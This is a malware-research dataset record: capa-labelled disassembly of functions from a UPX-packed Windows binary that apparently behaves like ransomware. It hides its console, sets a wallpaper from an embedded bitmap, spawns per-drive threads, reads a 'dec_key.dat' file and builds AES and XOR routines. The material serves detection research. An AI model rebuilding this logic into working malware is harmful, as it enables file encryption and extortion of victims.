joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401824
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x401863
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x401863
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x401863
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x401863
cmp dword [ecx + 0x74], 0xe
jbe 0x401863
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x404555
Capabilities:
Clear file content

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 0x2c]
push esi
push edi
push dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
push dword [ebp + 0xc]
push ebx
call fcn.0040437e
mov eax, dword [ebp - 0x2c]
and eax, dword [ebp - 0x28]
cmp eax, 0xffffffff
je 0x4046c4
mov eax, dword [ebp - 0x24]
and eax, dword [ebp - 0x20]
cmp eax, 0xffffffff
je 0x4046c4
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
test ecx, ecx
jl 0x404679
jg 0x4045b1
test eax, eax
je 0x40466f
push 1
push 0x1000
call fcn.0040db5c
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x4045d4
push 0xc
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x404666
push 0x8000
push ebx
call fcn.0040ce30
pop ecx
pop ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
test eax, eax
jl 0x4045fd
jg 0x4045f8
cmp ecx, 0x1000
jb 0x4045fd
mov ecx, 0x1000
push edi
push ecx
push esi
push ebx
call fcn.0040b08f
add esp, 0x10
cmp eax, 0xffffffff
je 0x404642
mov ecx, dword [ebp - 4]
cdq
sub ecx, eax
mov eax, dword [ebp - 8]
mov dword [ebp - 4], ecx
sbb eax, edx
mov dword [ebp - 8], eax
test eax, eax
jg 0x4045f8
jl 0x404629
test ecx, ecx
jne 0x4045ea
push dword [ebp - 0xc]
push ebx
call fcn.0040ce30
push esi
call fcn.0040dbb9
add esp, 0xc
xor ebx, ebx
jmp 0x4046d2
cmp byte [edi + 0x24], 0
je 0x404659
cmp dword [edi + 0x20], 5
jne 0x404659
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], 0xd
cmp byte [edi + 0x1c], 0
je 0x404664
mov ebx, dword [edi + 0x18]
jmp 0x404666
xor ebx, ebx
push esi
call fcn.0040dbb9
pop ecx
jmp 0x4046d2
test ecx, ecx
jg 0x40463b
jl 0x404679
test eax, eax
jae 0x40463b
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.0040490b
and eax, edx
add esp, 0x10
cmp eax, 0xffffffff
jne 0x404699
cmp byte [edi + 0x1c], 0
je 0x40463b
jmp 0x4046ca
push ebx
call fcn.0040daf2
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x40463b
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0xd
mov byte [edi + 0x24], 1
mov dword [edi + 0x20], eax
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x4046d2
cmp byte [edi + 0x1c], 0
je 0x4046cf
mov ebx, dword [edi + 0x18]
jmp 0x4046d2
push 0x16
pop ebx
push 0
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push dword [ebp - 0x14]
call fcn.0040490b
add esp, 0x10
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x404b10
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x42cf40]
mov dword [ebp - 0xc], ecx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x404b50
cmp byte [ebx], 0xa
jne 0x404b50
or byte [edi + eax + 0x28], 4
jmp 0x404b55
and byte [edi + eax + 0x28], 0xfb
add ecx, ebx
mov eax, ebx
mov dword [ebp - 0x10], ecx
mov esi, ebx
mov dword [ebp - 8], eax
cmp ebx, ecx
jae 0x404c54
mov dl, byte [eax]
cmp dl, 0x1a
je 0x404c37
inc eax
cmp dl, 0xd
je 0x404b81
mov dword [ebp - 8], eax
mov byte [esi], dl
jmp 0x404ba7
cmp eax, ecx
jae 0x404bb5
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add dword [ebp - 8], eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
xor edx, edx
inc edx
add esi, edx
cmp eax, ecx
jb 0x404b69
jmp 0x404c54
push 0
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x404c32
cmp dword [ebp - 0x10], 0
je 0x404c32
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx*4 + 0x42cf40]
test byte [eax + edi + 0x28], 0x48
je 0x404c0c
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x404bf7
mov byte [esi], dl
jmp 0x404c08
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x42cf40]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x404c54
cmp byte [ebp - 1], 0xa
jne 0x404c1b
cmp esi, ebx
jne 0x404c1b
mov byte [esi], 0xa
jmp 0x404c53
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.0040490b
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x404c54
mov byte [esi], 0xd
jmp 0x404c53
mov ecx, dword [ebp - 0xc]
mov ecx, dword [ecx*4 + 0x42cf40]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x404c51
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x404c54
mov byte [esi], dl
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x404c5d
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
push esi
sar ecx, 6
push edi
imul edi, eax, 0x38
mov dword [ebp - 8], ecx
mov eax, dword [ecx*4 + 0x42cf40]
push 0xa
pop edx
mov dword [ebp - 0x18], edx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x404ca3
cmp word [ebx], dx
jne 0x404ca3
or byte [eax + edi + 0x28], 4
jmp 0x404ca8
and byte [eax + edi + 0x28], 0xfb
lea edx, [ebx + ecx*2]
mov eax, ebx
mov dword [ebp - 0xc], edx
mov esi, ebx
mov dword [ebp - 4], eax
cmp ebx, edx
jae 0x404e0b
mov dword [ebp - 0x10], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x14], edx
mov edx, dword [ebp - 0xc]
cmp ecx, 0x1a
je 0x404deb
add eax, 2
cmp cx, word [ebp - 0x10]
je 0x404ce9
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x404d1f
cmp eax, edx
jae 0x404d2d
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x18]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 0xc]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
push 2
pop ecx
add esi, ecx
cmp eax, edx
jb 0x404cc4
jmp 0x404e0b
push 0
lea eax, [ebp - 0x18]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x404de6
cmp dword [ebp - 0x18], 0
je 0x404de6
mov edx, dword [ebp - 8]
push 0xa
mov eax, dword [edx*4 + 0x42cf40]
test byte [eax + edi + 0x28], 0x48
je 0x404dbc
lea eax, [esi + 2]
mov dword [ebp - 0x1c], eax
mov ax, word [ebp - 4]
pop ecx
mov word [ebp - 2], ax
cmp ax, cx
jne 0x404d80
mov word [esi], cx
jmp 0x404db7
push 0xd
pop ecx
mov word [esi], cx
movzx ecx, ax
mov eax, dword [edx*4 + 0x42cf40]
mov dx, word [ebp - 2]
shr ecx, 8
push 0xa
mov byte [eax + edi + 0x2a], dl
mov edx, dword [ebp - 8]
mov eax, dword [edx*4 + 0x42cf40]
mov byte [eax + edi + 0x2b], cl
mov eax, dword [edx*4 + 0x42cf40]
pop ecx
mov byte [eax + edi + 0x2c], cl
mov esi, dword [ebp - 0x1c]
jmp 0x404e0b
pop eax
cmp word [ebp - 4], ax
jne 0x404dcc
cmp esi, ebx
jne 0x404dcc
mov word [esi], ax
jmp 0x404e08
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.0040490b
add esp, 0x10
push 0xa
pop eax
cmp word [ebp - 4], ax
je 0x404e0b
push 0xd
pop eax
jmp 0x404dc7
mov edx, dword [ebp - 8]
mov edx, dword [edx*4 + 0x42cf40]
mov al, byte [edx + edi + 0x28]
test al, 0x40
jne 0x404e05
or al, 2
mov byte [edx + edi + 0x28], al
jmp 0x404e0b
mov word [esi], cx
add esi, 2
sub esi, ebx
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x40e99b
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x424c00
push 0x424bf8
push str.FlsAlloc
push 0x1f
call fcn.0040e85a
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40e9cf
push dword [ebp + 8]
mov ecx, esi
call dword [0x42320c]
call esi
jmp 0x40e9d5
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x40ea19
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x424c10
push 0x424c08
push str.FlsGetValue
push 0x21
call fcn.0040e85a
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40ea50
push dword [ebp + 8]
mov ecx, esi
call dword [0x42320c]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x40ea58
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x424c18
push 0x424c10
push str.FlsSetValue
push 0x22
call fcn.0040e85a
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40ea92
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x42320c]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x41288f
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x41292c
push ebx
push esi
call fcn.00412858
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.004105a1
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x4128d9
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x41292b
push edi
push eax
call fcn.0040efae
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x4128f9
call fcn.0040dbb9
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x41292a
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.004105a1
add esp, 0x20
test eax, eax
jne 0x412918
push edi
call fcn.0040dbb9
jmp 0x412920
push ebx
call fcn.0040dbb9
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x4193c0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4193ed
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4193ed
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x419b40
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
mov dword [ebp - 4], edx
mov edx, ecx
push ecx
lea ecx, [ebp - 0x208]
call fcn.0041cba0
mov edx, dword [ebp + 0x10]
add esp, 4
mov eax, dword [ebp + 8]
mov dword [ebp + 8], 0
mov dword [edx], eax
test eax, eax
jle 0x419bfb
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 4]
push ebx
mov ebx, dword [ebp + 0x14]
push esi
push edi
mov edi, ebx
mov esi, eax
sub edi, eax
sub ecx, eax
mov dword [ebp - 4], ecx
nop dword [eax + eax]
lea edx, [ecx + esi]
push esi
lea ecx, [ebp - 0x208]
call fcn.0041bc50
lea ecx, [ebx + 0xf]
add esp, 4
mov eax, esi
cmp esi, ecx
ja 0x419bc7
lea ecx, [esi + 0xf]
cmp ecx, ebx
jb 0x419bc7
mov edx, 0x10
mov cl, byte [edi + eax]
lea eax, [eax + 1]
xor byte [eax - 1], cl
sub edx, 1
jne 0x419bb7
jmp 0x419bd3
movups xmm1, xmmword [esi]
movups xmm0, xmmword [ebx]
xorps xmm1, xmm0
movups xmmword [esi], xmm1
mov edx, dword [ebp - 4]
sub edi, 0x10
mov ecx, dword [ebp + 8]
add ecx, 0x10
mov dword [ebp + 8], ecx
movups xmm0, xmmword [edx + esi]
mov edx, dword [ebp + 0x10]
add esi, 0x10
movups xmmword [ebx], xmm0
mov eax, dword [edx]
cmp ecx, eax
mov ecx, dword [ebp - 4]
jl 0x419b90
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0xc]
dec ecx
add ecx, eax
cmp byte [ecx], 0xee
jne 0x419c11
dec eax
lea ecx, [ecx - 1]
mov dword [edx], eax
cmp byte [ecx], 0xee
je 0x419c06
mov esp, ebp
pop ebp
ret
Function at 0x419c20
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x220
push ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 4], edx
mov ecx, dword [ebp + 8]
mov esi, 0x10
mov eax, ecx
mov ebx, dword [ebp + 0x14]
cdq
idiv esi
mov esi, eax
shl esi, 4
test edx, edx
je 0x419c4d
lea ecx, [esi + 0x10]
mov eax, dword [ebp + 0x10]
mov edx, edi
sub dword [ebp + 8], esi
push ecx
mov dword [eax], ecx
lea ecx, [ebp - 0x220]
call fcn.0041cba0
add esp, 4
xor edi, edi
test esi, esi
jle 0x419ce5
mov eax, dword [ebp + 0xc]
dec esi
mov edi, dword [ebp - 4]
sub eax, edi
shr esi, 4
inc esi
mov dword [ebp - 8], eax
mov eax, esi
mov dword [ebp + 0x10], esi
shl eax, 4
mov dword [ebp - 0xc], eax
lea ecx, [edi + 0xf]
xor eax, eax
mov edx, ebx
cmp ebx, ecx
ja 0x419cb1
lea ecx, [ebx + 0xf]
cmp ecx, edi
jb 0x419cb1
nop dword [eax]
mov cl, byte [edi + eax]
lea edx, [edx + 1]
xor byte [edx - 1], cl
inc eax
cmp eax, 0x10
jl 0x419ca0
jmp 0x419cbd
movups xmm1, xmmword [edi]
movups xmm0, xmmword [ebx]
xorps xmm1, xmm0
movups xmmword [ebx], xmm1
mov esi, dword [ebp - 8]
lea ecx, [ebp - 0x220]
add esi, edi
mov edx, ebx
push esi
call fcn.0041d3d0
movups xmm0, xmmword [esi]
add esp, 4
add edi, 0x10
sub dword [ebp + 0x10], 1
movups xmmword [ebx], xmm0
jne 0x419c87
mov edi, dword [ebp - 0xc]
mov eax, dword [ebp + 8]
lea esi, [ebx + 0xf]
test eax, eax
jle 0x419d5b
movaps xmm0, xmmword [0x4292f0]
push eax
mov eax, dword [ebp - 4]
add eax, edi
push eax
lea eax, [ebp - 0x1c]
push eax
movups xmmword [ebp - 0x1c], xmm0
call fcn.00402f40
lea eax, [ebp - 0xd]
add esp, 0xc
xor edx, edx
mov ecx, ebx
cmp ebx, eax
ja 0x419d32
lea eax, [ebp - 0x1c]
cmp esi, eax
jb 0x419d32
nop
mov al, byte [ebp + edx - 0x1c]
lea ecx, [ecx + 1]
xor byte [ecx - 1], al
inc edx
cmp edx, 0x10
jl 0x419d20
jmp 0x419d3f
movups xmm1, xmmword [ebx]
movups xmm0, xmmword [ebp - 0x1c]
xorps xmm1, xmm0
movups xmmword [ebx], xmm1
mov esi, dword [ebp + 0xc]
lea ecx, [ebp - 0x220]
add esi, edi
mov edx, ebx
push esi
call fcn.0041d3d0
movups xmm0, xmmword [esi]
add esp, 4
movups xmmword [ebx], xmm0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x41b9d0
Capabilities:
Encode data using xor
Encrypt data using rc4 ksa
Manually build aes constants

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
mov dl, 1
push ebx
push esi
push edi
xor ebx, ebx
movzx eax, dl
mov cl, dl
sar cl, 7
and cl, 0x1b
mov byte [ebp + ebx - 0x208], dl
mov byte [ebp + eax - 0x108], bl
mov al, dl
add al, al
inc ebx
xor cl, al
xor dl, cl
cmp ebx, 0x100
jl 0x41b9e0
mov cl, 1
mov edx, 0x42f7f0
movzx eax, cl
shl eax, 0x18
mov dword [edx], eax
mov al, cl
sar al, 7
add cl, cl
and al, 0x1b
add edx, 4
xor cl, al
cmp edx, 0x42f818
jl 0x41ba11
mov dword [0x430420], 0x63
mov esi, 1
mov dword [0x42fdac], 0
nop dword [eax + eax]
movzx eax, byte [ebp + esi - 0x108]
lea ecx, [ebp - 0x109]
sub ecx, eax
mov dl, byte [ecx]
mov cl, dl
mov al, dl
add al, al
shr cl, 7
or cl, al
xor dl, cl
mov al, cl
shr al, 7
add cl, cl
or al, cl
mov bl, al
xor bl, dl
mov dl, al
add al, al
shr dl, 7
or dl, al
mov al, dl
ror al, 7
movzx ecx, al
movzx eax, dl
xor ecx, eax
movzx eax, bl
xor ecx, eax
xor ecx, 0x63
mov dword [esi*4 + 0x430420], ecx
mov dword [ecx*4 + 0x42fc20], esi
inc esi
cmp esi, 0x100
jl 0x41ba50
xor ebx, ebx
mov dword [ebp - 4], 0xff
nop word [eax + eax]
mov dl, byte [ebx + 0x430420]
mov cl, dl
movzx edi, dl
sar cl, 7
mov al, dl
and cl, 0x1b
add al, al
xor cl, al
movzx eax, dl
movzx esi, cl
shl esi, 8
xor esi, edi
movzx ecx, cl
xor ecx, eax
shl esi, 8
xor esi, edi
mov eax, esi
shl eax, 8
xor eax, ecx
bswap ecx
or ecx, esi
mov dword [ebx + 0x42dbf0], eax
mov al, byte [ebx + 0x42fc20]
mov dword [ebx + 0x42e3f0], ecx
shr ecx, 8
bswap edi
or ecx, edi
mov dword [ebx + 0x42eff0], ecx
shr ecx, 8
or ecx, edi
mov dword [ebx + 0x42f3f0], ecx
test al, al
je 0x41bbb0
movzx esi, al
xor edx, edx
mov eax, dword [ebp - 0xfb]
mov edi, 0xff
movzx eax, al
movzx ecx, byte [ebp + esi - 0x108]
add eax, ecx
div edi
mov eax, dword [ebp - 0xff]
movzx eax, al
add eax, ecx
movzx edi, byte [ebp + edx - 0x208]
xor edx, edx
div dword [ebp - 4]
movzx eax, byte [ebp + edx - 0x208]
xor edx, edx
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0xfa]
movzx eax, al
add eax, ecx
mov ecx, 0xff
div ecx
movzx eax, byte [ebp + esi - 0x108]
mov esi, 0xff
movzx ecx, byte [ebp + edx - 0x208]
mov edx, dword [ebp - 0xfd]
movzx edx, dl
add eax, edx
xor edx, edx
div esi
mov eax, dword [ebp - 8]
movzx edx, byte [ebp + edx - 0x208]
jmp 0x41bbb8
xor edi, edi
xor eax, eax
xor ecx, ecx
xor edx, edx
shl ecx, 8
xor ecx, eax
shl ecx, 8
xor ecx, edi
shl ecx, 8
xor ecx, edx
mov edx, ecx
mov dword [ebx + 0x42e7f0], ecx
shl edx, 0x18
shr ecx, 8
or edx, ecx
mov eax, edx
mov dword [ebx + 0x42ebf0], edx
shl eax, 0x18
shr edx, 8
or eax, edx
mov dword [ebx + 0x42d3f0], eax
ror eax, 8
mov dword [ebx + 0x430020], eax
add ebx, 4
cmp ebx, 0x400
jl 0x41bac0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x421250
Capabilities:
Change the wallpaper
Create thread
Get common file path
Get disk information
Hide graphical window
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44c
push ebx
push esi
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push 0x2000
push 0
push 0
push 0
push 0x68
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.USER32.dll_LoadImageW]
mov esi, eax
test esi, esi
je 0x421305
lea eax, [ebp - 0x44c]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea eax, [ebp - 0x44c]
push eax
lea eax, [ebp - 0x244]
push str._s_tmp.bmp
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea edx, [ebp - 0x244]
call fcn.00421550
test eax, eax
je 0x4212ee
push 3
lea eax, [ebp - 0x244]
push eax
push 0
push 0x14
call dword [sym.imp.USER32.dll_SystemParametersInfoW]
test eax, eax
mov ecx, str.Failed_to_set_wallpaper._n
mov edx, str.Wallpaper_set_successfully._n
cmovne ecx, edx
jmp 0x4212f3
mov ecx, str.Failed_to_save_bitmap_to_file._n
push ecx
call fcn.00401070
add esp, 4
push esi
call dword [sym.imp.GDI32.dll_DeleteObject]
jmp 0x421312
push str.Failed_to_load_bitmap_from_resource._n
call fcn.00401070
add esp, 4
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x4217a0
push 0
push 0
mov dword [0x42f81c], 0
call ebx
mov ecx, dword [0x42f81c]
push 0
push 0
push 0
push 0x4225c0
mov dword [ecx*4 + 0x430c30], eax
inc ecx
push 0
push 0
mov dword [0x42f81c], ecx
call ebx
mov ecx, dword [0x42f81c]
mov dword [ecx*4 + 0x430c30], eax
lea eax, [ebp - 0x348]
push eax
push 0
push 0
push 0x1a
inc ecx
push 0
mov dword [0x42f81c], ecx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea eax, [ebp - 0x348]
push eax
lea eax, [ebp - 0x140]
push str._sdec_key.dat
push eax
call fcn.004010b0
lea eax, [ebp - 0x140]
push 0x429028
push eax
call fcn.0040b9f4
mov esi, eax
add esp, 0x14
test esi, esi
je 0x4213dd
push esi
push 0x24
lea eax, [ebp - 0x3c]
push 1
push eax
call fcn.0040c45c
lea ecx, [ebp - 0x3c]
mov byte [ebp - 0x18], 0
call fcn.00421f10
push esi
mov byte [0x42b918], 0
call fcn.0040bb30
add esp, 0x14
mov edi, 0x61
mov dword [ebp - 0x14], 0x3a0063
xorps xmm0, xmm0
mov dword [ebp - 0x10], 0x5c
movq qword [ebp - 0xc], xmm0
mov ebx, edi
mov dword [ebp - 4], 0
lea eax, [ebp - 0x14]
mov word [ebp - 0x14], di
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
sub eax, 2
je 0x421426
sub eax, 1
je 0x421426
sub eax, 1
je 0x421426
mov ecx, dword [0x42f81c]
jmp 0x42146f
push 4
call fcn.004010f4
push 0x65
push ebx
mov esi, eax
push str._c_c
push esi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x14
push 0
push 0
push esi
push 0x4220a0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [0x42f81c]
mov dword [ecx*4 + 0x430c30], eax
inc ecx
inc dword [0x430c20]
mov dword [0x42f81c], ecx
inc edi
inc ebx
cmp di, 0x7a
jbe 0x421401
pop edi
pop esi
pop ebx
push 0xffffffffffffffff
push 1
push 0x430c30
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x421550
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x422790
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x24
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov edi, edx
mov dword [ebp - 4], 0
push 2
push 0x68
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0x1c], eax
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0x18], eax
push esi
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
mov eax, 0x4d42
mov word [ebp - 0x2c], ax
lea ecx, [ebx + 0xe]
mov dword [ebp - 0x2a], ecx
mov dword [ebp - 0x22], 0x36
xor eax, eax
mov word [ebp - 0x24], ax
mov word [ebp - 0x26], ax
push eax
lea eax, [ebp - 0x14]
push eax
push 0xe
lea eax, [ebp - 0x2c]
push eax
push edi
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
call esi
push 0
lea eax, [ebp - 0x14]
push eax
push ebx
push dword [ebp - 0x18]
push edi
call esi
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov dword [ebp - 4], 0xffffffff
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4282a0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x17000]
push edi
jmp 0x4282ba
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4282c1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4282b0
mov eax, 1
add ebx, ebx
jne 0x4282d3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4282c8
jne 0x4282e4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4282c8
xor ecx, ecx
sub eax, 3
jb 0x4282f8
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x42836a
mov ebp, eax
add ebx, ebx
jne 0x428303
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x428310
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x428334
inc ecx
add ebx, ebx
jne 0x428320
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x428315
jne 0x428331
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x428315
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x428354
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x428345
jmp 0x4282b6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x428354
add edi, ecx
jmp 0x4282b6
pop esi
mov edi, esi
mov ecx, 0x115
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x428372
cmp byte [edi], 3
jne 0x428372
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x428377
lea edi, [esi + 0x26000]
mov eax, dword [edi]
or eax, eax
je 0x4283e6
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x28000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x280c4]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x4283a4
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x280cc]
or eax, eax
je 0x4283e0
mov dword [ebx], eax
add ebx, 4
jmp 0x4283c1
